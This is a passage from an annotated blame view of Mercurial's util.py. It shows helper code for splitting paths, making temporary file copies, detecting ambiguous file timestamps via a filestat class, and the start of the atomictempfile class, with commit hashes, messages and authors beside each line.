1904 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1905 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1906 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1907 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1908 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1909 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1910 |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1911 def mktempcopy(name, emptyok=False, createmode=None): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1912 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1913 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1914 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1915 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1916 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1917 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1918 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1919 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1920 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1921 d, fn = os.path.split(name) |
38164
aac4be30e250
py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents:
37972
diff
changeset
|
1922 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1923 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1924 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1925 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1926 # its mode. Otherwise, manually obey umask. |
15010
c3114acd8ea2
util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents:
14999
diff
changeset
|
1927 copymode(name, temp, createmode) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1928 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1929 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1930 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1931 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1932 ifp = posixfile(name, "rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1933 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1934 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1935 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1936 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1937 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1938 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1939 ofp = posixfile(temp, "wb") |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1940 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1941 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1942 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1943 ofp.close() |
16705
c2d9ef43ff6c
check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents:
16703
diff
changeset
|
1944 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1945 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1946 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1947 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
1948 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1949 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1950 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1951 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1952 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1953 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1954 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1955 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1956 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1957 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1958 """ |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1959 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1960 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1961 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1962 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1963 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1964 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1965 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1966 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1967 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1968 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1969 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1970 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1971 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1972 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1973 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1974 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1975 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
1976 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1977 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1978 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1979 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1980 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1981 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
1982 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1983 # to exactly detect change of a file regardless of platform |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1984 return (self.stat.st_size == old.stat.st_size and |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1985 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and |
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1986 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1987 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1988 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1989 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1990 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
1991 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1992 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1993 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1994 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1995 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1996 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1997 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
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diff
changeset
|
1998 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
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diff
changeset
|
1999 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
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diff
changeset
|
2000 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
29017
diff
changeset
|
2001 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
29017
diff
changeset
|
2002 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
29017
diff
changeset
|
2003 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2004 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
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diff
changeset
|
2005 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
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parents:
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diff
changeset
|
2006 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2007 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2008 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
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diff
changeset
|
2009 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
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diff
changeset
|
2010 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2011 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2012 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2013 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2014 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2015 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2016 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2017 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2018 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2019 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2020 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2021 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2022 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2023 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2024 try: |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2025 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2026 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2027 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2028 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2029 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2030 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2031 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2032 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2033 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2034 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2035 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2036 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2037 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2038 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2039 """ |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2040 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2041 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2042 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2043 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2044 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2045 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2046 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2047 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2048 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2049 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2050 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2051 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2052 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2053 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
2054 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2055 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2056 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2057 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2058 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2059 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2060 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2061 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2062 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2063 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2064 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2065 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2066 ''' |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2067 def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2068 self.__name = name # permanent name |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2069 self._tempname = mktempcopy(name, emptyok=('w' in mode), |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2070 createmode=createmode) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2071 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2072 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2073 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2074 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
2075 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2076 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
